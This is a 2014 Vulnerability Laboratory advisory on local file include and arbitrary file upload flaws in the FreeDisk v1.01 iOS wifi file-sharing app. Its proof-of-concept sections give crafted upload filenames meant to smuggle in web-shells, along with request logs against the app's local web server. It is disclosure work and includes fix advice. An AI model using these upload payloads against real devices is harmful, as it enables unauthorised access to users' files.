Document Title:
===============
FreeDisk v1.01 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1287


Release Date:
=============
2014-08-01


Vulnerability Laboratory ID (VL-ID):
====================================
1287


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
Transfer files between your iPhone/iPod/iPad and your computers without iTunes! 
Just start FreeDisk, and your iDevice is automatically 
turned into a wifi hard drive. You can then connect your iDevice to your 
computers, and use it as a regular hard drive, and easily 
transfer files. No need for third part software, or iTunes, to finally exchange 
files between your iDevices and your computers! 
FreeDisk can also turn your iDevice into an internet server to share your files 
with other smartphones (iOS, Android, Windows...) !
Last but not least, all your data are protected and can only be read when the 
app is running.

(Copy of the Homepage: 
https://itunes.apple.com/us/app/free-disk-turn-your-iphone/id896356251 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered multiple vulnerabilities 
in the official  FreeDisk v1.01 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-08-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Sebastien BUET
Product: FreeDisk - iOS Mobile Web Application 1.01


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official  
FreeDisk v1.01 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to 
unauthorized include local file/path requests or system specific 
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` 
module. Remote attackers are able to inject own files with 
malicious `filename` values in the `uploadfile` POST method request to 
compromise the mobile web-application. The local file/path 
include execution occcurs in the index `file list` context next to the 
vulnerable `filename` item value. The attacker is able to 
inject the local malicious file request by usage of the available `wifi 
interface` upload form.

Remote attackers are also able to exploit the filename validation issue in 
combination with persistent injected script codes to execute 
different local malicious attacks requests. The attack vector is on the 
application-side of the wifi service and the request method to 
inject is POST. 

The security risk of the local file include web vulnerability is estimated as 
high with a cvss (common vulnerability scoring system) count 
of 6.8. Exploitation of the local file include web vulnerability requires no 
privileged web-application user account or user interaction. 
Successful exploitation of the local file include web vulnerability results in 
mobile application or connected device component compromise.


Request Method(s):
                                [+] [POST]

Vulnerable Service(s):
                                [+] FreeDisk v1.01

Vulnerable Module(s):
                                [+] upload

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] FreeDisk App Index File Dir Listing 
(http://localhost:8080/)


1.2
An arbitrary file upload web vulnerability has been discovered in the official  
FreeDisk v1.01 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with 
multiple extensions to bypass the web-server or system validation.

The vulnerability is located in the `upload` module. Remote attackers are able 
to upload a php or js web-shells by renaming the file with 
multiple extensions to bypass the file restriction mechanism. The attacker 
uploads for example a web-shell with the following name and extension 
`image.jpg.gif.js.php.jpg`. After the upload the attacker needs to open the 
file in the web application. He deletes the .jpg & . gif file 
extension and can access the application file with elevated access rights. 

The security risk of the arbitrary file upload web vulnerability is estimated 
as high with a cvss (common vulnerability scoring system) count of 7.4.
Exploitation of the arbitrary file upload web vulnerability requires no user 
interaction or privilege application user account with password.
Successful exploitation of the vulnerability results in unauthorized file 
access because of a compromise after the upload of web-shells.


Request Method(s):
                                [+] [POST]

Vulnerable Service(s):
                                [+] FreeDisk v1.01

Vulnerable Module(s):
                                [+] upload

Vulnerable Parameter(s):
                                [+] filename (multiple extensions)

Affected Module(s):
                                [+] FreeDisk App Index File Dir Listing 
(http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers 
without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.

PoC: LFI > FreeDisk App Index File Dir Listing (http://localhost:8080/)

/8Oe/3rG8NqF1H9y6jCDRQWTNfOe9OJxmRjy9Ns+DSZRbq5em95UgEIQSBQABd19VWa9ks3W+JruupQrKsaRonTpwgEAjQ6K/hznXLOHz8w7wp5p7spDJNu9IpG6BCz
KOachYJtTbCcRz8fj+BQIDs47ui9n7d5x4yMm5F0zSNNWvWYNs2W558TaWY7MOaawW+xiaVIlKpCgFUinIqr7weiUSwbRu/319ci1JEZDAMAyFEjixHo1GlZtvvvkn
NJ7Jtkf2ShBiuqVcF3VBdTkN1ORViHhViHt4rELFYjKNHjyKEIBgMylQqKTTnlRar+RImEAgoEZDm9XoJh9NnIt9Z386y1W2Mjl9Uhe+exfsmYPmlCS5MfsrHl6a5e
KWH8opyvCJdB0ePHiUejxMKhRTAbMcOV3X05q4Zd0ecTr+0IOi6zoMb23hqIA7TI2oN7iTO0+fxqgmvsmY+DdVp52UN9vT0IIQgFAplFHIxVnq1s3GhyAihqW2cNauWs741kCO/k4kxLlxJy2B1qYpAJBKhp6cHv9+PaZr4/f6rPvgpvZbWohBMdXUVlmUBsGVTq1rKujvk5UtN
1prpWrMsi3A4rOrANM0Z6+B6HoamYrGYUrNkMsnY2Bhbt24F4NUDb/DakTCepSG+f/uNrL2lBSEEsViM3t5eTNNUAvKFHb0VCxOPjxMILGLVqlUM2zZvHjnB5o23q
XV/OBzGMIycCe3LPNUtCBONRlVUXJt9OI4j04e5/n+UufzPh5Rt24yMjKiNig0bNmBZFrFYbNYJ7asEkgFjWacRQpvTOvgiQRSM7JCvN8D1BPlS7H8DAE2nLCe/T
ZDiAAAAAElFTkSuQmCC"></a></td></tr><tr>
<td word-wrap="break-all" align="center">
<a href="<./[LOCAL FILE INCLUDE VULNERABILITY!].png"><./[LOCAL FILE INCLUDE 
VULNERABILITY!].png"></a></td></tr></table></td><td >
<table width="192 px" border="0" align="center"><tr><td align="center" 
height="133"><a  href="IMG_0650.JPG">
<img  src="data:image/png;


--- PoC Session Logs [POST] (LFI) ---
Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[352481] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 
Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------17662256993564
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE 
VULNERABILITY!].png"
Content-Type: image/png

Status: 200[OK]
GET http://localhost:8080/./[LOCAL FILE INCLUDE VULNERABILITY!] Load 
Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[317203] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 
Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[317203]
      Date[Do., 31 Juli 2014 13:38:34 GMT]




1.2
The arbitrary file upload web vulnerability can be exploited by local attackers 
without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.

PoC: AFU > FreeDisk App Index File Dir Listing (http://localhost:8080/)

/8Oe/3rG8NqF1H9y6jCDRQWTNfOe9OJxmRjy9Ns+DSZRbq5em95UgEIQSBQABd19VWa9ks3W+JruupQrKsaRonTpwgEAjQ6K/hznXLOHz8w7wp5p7spDJNu9IpG6BCz
KOachYJtTbCcRz8fj+BQIDs47ui9n7d5x4yMm5F0zSNNWvWYNs2W558TaWY7MOaawW+xiaVIlKpCgFUinIqr7weiUSwbRu/319ci1JEZDAMAyFEjixHo1GlZtvvvkn
NJ7Jtkf2ShBiuqVcF3VBdTkN1ORViHhViHt4rELFYjKNHjyKEIBgMylQqKTTnlRar+RImEAgoEZDm9XoJh9NnIt9Z386y1W2Mjl9Uhe+exfsmYPmlCS5MfsrHl6a5e
KWH8opyvCJdB0ePHiUejxMKhRTAbMcOV3X05q4Zd0ecTr+0IOi6zoMb23hqIA7TI2oN7iTO0+fxqgmvsmY+DdVp52UN9vT0IIQgFAplFHIxVnq1s3GhyAihqW2cNau
Ws741kCO/k4kxLlxJy2B1qYpAJBKhp6cHv9+PaZr4/f6rPvgpvZbWohBMdXUVlmUBsGVTq1rKujvk5UtN
1prpWrMsi3A4rOrANM0Z6+B6HoamYrGYUrNkMsnY2Bhbt24F4NUDb/DakTCepSG+f/uNrL2lBSEEsViM3t5eTNNUAvKFHb0VCxOPjxMILGLVqlUM2zZvHjnB5o23q
XV/OBzGMIycCe3LPNUtCBONRlVUXJt9OI4j04e5/n+UufzPh5Rt24yMjKiNig0bNmBZFrFYbNYJ7asEkgFjWacRQpvTOvgiQRSM7JCvN8D1BPlS7H8DAE2nLCe/T
ZDiAAAAAElFTkSuQmCC"></a></td></tr><tr><td word-wrap="break-all" align="center">
<a href="<./webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD 
VULNERABILITY!]"><webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD 
VULNERABILITY!]"></a></td></tr></table></td><td >
<table width="192 px" border="0" align="center"><tr><td align="center" 
height="133"><a  href="IMG_0650.JPG">
<img  src="data:image/png;


PoC: http://localhost:8080/webshell.png.jpg.html.js.jpg.png

--- PoC Session Logs [POST] (AFU) ---
Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[359908] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 
Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------3032116335563
Content-Disposition: form-data; name="file"; 
filename="webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD 
VULNERABILITY!]"
Content-Type: image/png

Status: 200[OK]
GET http://localhost:8080/webshell.png.jpg.html.js.jpg.png Load 
Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[317203] Mime 
Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 
Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[317203]
      Date[Do., 31 Juli 2014 13:45:00 GMT]


Solution - Fix & Patch:
=======================
1.1
The file inlcude vulnerability can be patched by a secure parse and encode of 
the filename value in the upload file POST method request.

1.2
The arbitrary file upload issue can be fixed by a secure restriction and filter 
procedure in the filename type validation mechanism.
Restrict the input and check for extentions to prevent arbitrary file upload 
with further exploitation.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the filename 
value is estimated as high.

1.2
The security risk of the arbitrary file upload web vulnerability in the file 
submit function is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(b...@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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